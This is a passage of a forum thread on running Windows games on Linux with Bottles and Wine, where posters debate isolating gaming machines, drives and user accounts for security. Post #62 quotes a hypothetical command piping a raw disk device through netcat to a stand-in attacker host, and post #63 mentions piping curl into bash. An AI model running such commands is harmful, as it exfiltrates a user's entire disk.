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Bottles – Run Windows software and games on Linux

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Re: Bottles – Run Windows software and games on Linux

#61

Post by stockerta »

bni wrote: post #43
ddtaylor wrote: post #23

Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care abo…

I also keep my Windows gaming PC only for gaming. Reinstall it regularly, because this is the Windows way. I have a DisplayPort USB KVM switch to quickly switch monitor, headphones, mouse and keyboard between my mac mini (that I normally use) and the gaming PC.

"Reinstall it regularly, because this is the Windows way." When did you last use windows regularly? In the 9x era?

Re: Bottles – Run Windows software and games on Linux

#62

Post by l-albertovich »

turrini wrote: post #59
jcelerier wrote: post #58

Earlier quoted context omitted.

> This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windo…

> If it were on linux with another user, the game could still do cat /dev/sda | nc evil.game.server unlike here. That's not true. Only root can read directly a disk device, or an user that is on the 'disk' group: brw-rw---- 1 root disk 8, 0 fev 1 07:50 /dev/sda

And of course a very easy to exploit bug that has been around for like 12 years hasn't gone public a few days ago because LPEs DO NOT EXIST IN LINUX.

I mean, it's quite obvious, exploitable bugs do not exist in Linux because back in the day Ken, Dennis, Brian, Doug and Joe agreed that they were not part of the Unix philosophy so they left them for windows to implement. /s

Aside from the stupid joke, what OP is saying is absolutely right, if you care about security keep your things properly isolated, keep a (whichever OS you trust but hopefully linux or a bsd) as main box and then a windows or macos computer isolated (best case scenario using a vlan capable switch, or a dedicated pi that acts as a firewall just for that box).

Re: Bottles – Run Windows software and games on Linux

#63

Post by l-albertovich »

badsectoracula wrote: post #36
ddtaylor wrote: post #23

Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care abo…

> if you value your time and security, just keep a dedicated Windows system for gaming Not everyone has the space and money for this. In fact most people don't and when you buy a powerful PC for games you most likely also want to use it for your other PC tasks too - especially if you are a developer. Even if one has both the space and money, they may just not want to "task switch" between different machines (e.g. i d…

If you don't have the money or space what you can do is just have 2 hard drives, one fully encrypted running whichever OS you want and one with windows. Unplugging the secure one when booting into the insecure one would be ideal but not required. In this case you'd still be vulnerable to certain EFI based attacks but at least you'd be safe from most common crooks.

I mean, seriously, running stuff with wine is OK if your expectatives are aligned with reality which is, you're running stuff there. If you complain about wine but then are completely fine with the typical 'curl XXX | bash" well, yeah, you're SoL but other than that some degree of separation is good.

Re: Bottles – Run Windows software and games on Linux

#64

Post by Octabrain »

burner556 wrote: post #32
ddtaylor wrote: post #23

Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care abo…

Or better yet just buy a game console and don’t worry about any headaches :)

This. Many moons ago I used to play on PC and had an extra SSD with Windows exclusively for that purpose. 4-5 years ago I decided to buy a XBOX and man, I've been so happy since then: Turn on and play, no having to mess with graphics configuration, no installations, no graphic card updates etc. I have to mention that I am casual gamer. Perhaps for a person who is really into gaming a PC provides more flexibility but that's not for me. PC for working and console for gaming.

Re: Bottles – Run Windows software and games on Linux

#65

Post by blibble »

bodge5000 wrote: post #45
ddtaylor wrote: post #23

Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care abo…

I've thought about doing something like this before, does your windows machine have its own keyboard, mouse and monitors or do you have some kind of switch involved? I haven't worked out a good way yet of using multiple monitors over two machines whilst sharing audio and input between the two

if you're competitive and want low latency/high framerate: you can do all of this with a single cheap USB physical switch (about $2 on ali express), plus DDC to switch monitor inputs automatically

I have this hooked up, so that I push the switch and the monitor inputs automatically switch

I also have a (cheap) physical audio mixer to do the audio, but you can do the same thing with pulseaudio and a line-in cable from one computer to another

Re: Bottles – Run Windows software and games on Linux

#66

Post by prmoustache »

ddtaylor wrote: post #23

Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care abo…

> Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care about in any way.

I agree with the part about running a dedicated system for gaming. I do the same but for creating music (I am not gaming).

On the other hand you don't need to do that on Windows so these tools still are useful.

I will add that if you have network segregation and firewalling between your main computer, your dedicated setup (gaming, whatever....) and the potential iot things running in your house it is even better.

Re: Bottles – Run Windows software and games on Linux

#67

Post by laumars »

q3k wrote: post #55
laumars wrote: post #54

Earlier quoted context omitted.

A RCE in Windows software running on WINE wouldn’t have much benefit on Linux unless the attacker specifically knew said software was running in WINE. 1. WINE et al run in a sandboxed environment. You cannot execute other Linux software without then also finding an RCE in WINE. So that’s multiple RCEs needed in multiple points of the stack and the attacker needs to be aware that you’re running the uncommon set up of…

> 1. WINE et al run in a sandboxed environment. You cannot execute other Linux software without then also finding an RCE in WINE. So that’s multiple RCEs needed in multiple points of the stack and the attacker needs to be aware that you’re running the uncommon set up of that Windows software running in WINE. Are you sure about this? I was the impression that there's nothing preventing an .exe running under Wine from…

I stand corrected. Thanks for that detailed test too. I learned a lot from it

Re: Bottles – Run Windows software and games on Linux

#68

Post by qwerty456127 »

I always disliked the concept of bottles as offered by CrossOver and probably the alternatives. I strongly prefer to have a single Windows subsystem with all the relevant DLLs installed and well-integrated with my Linux environment. Perhaps I never tried any particularly weird Windows apps/games but having them all in just one well-tweaked default "wineprefix" never caused a problem for me - apparently they don't conflict so unnecessary isolation means just unnecessary duplication of files and effort.

Re: Bottles – Run Windows software and games on Linux

#69

Post by jlkuester7 »

ijlx wrote: post #19
smoldesu wrote: post #6

If you intend to use this, reach for the AppImage version. The AUR installation script appears to be broken, and the Flatpak version of the app is feature-incomplete (and, yunno, a Flatpak).

> and, yunno, a Flatpak What's wrong with Flatpak? I've had fewer problems with flatpak than with AppImage personally.

The main challenges I have had with Flatpak is that for any apps that need to integrate with other components (e.g. I want my VS Code to use the same Node that I run from the Terminal) things get flaky. Its not so much that Flatpak does not support that kind of integration, but that many apps are not properly configured when packaged to take advantage of FP's integration features.... End result is still a poor user experience. Moral of the story: don't just shove your code in a Flatpak and call it a day! Take the time to do it right.

Re: Bottles – Run Windows software and games on Linux

#70

Post by teh_klev »

hparadiz wrote: post #51
ddtaylor wrote: post #23

Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care abo…

This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows…

> In contrast on Windows most games run as Admin

That's not true.

> or at some point ask for admin privileges.

Usually this is a UAC prompt so that the installer can deploy the game/app into Program Files. This isn't the fault of Windows and I'm fairly certain this could be avoided by the developer of the game/app.

> play your game without Windows having a hissy fit about Windows updates

You know you can defer updates and the nag? But then if you value your security then you'd install these updates (I lifted this from the start of your comment).

> without worrying that some bad patch from Microsoft will hose your entire setup

These are fairly rare, and personally never had it happen. I've hosed my Fedora install because the package manager really ballsed things up. But that was also a rare event.

I run both Windows and Linux and feel I'm in happily in control of both OS's.

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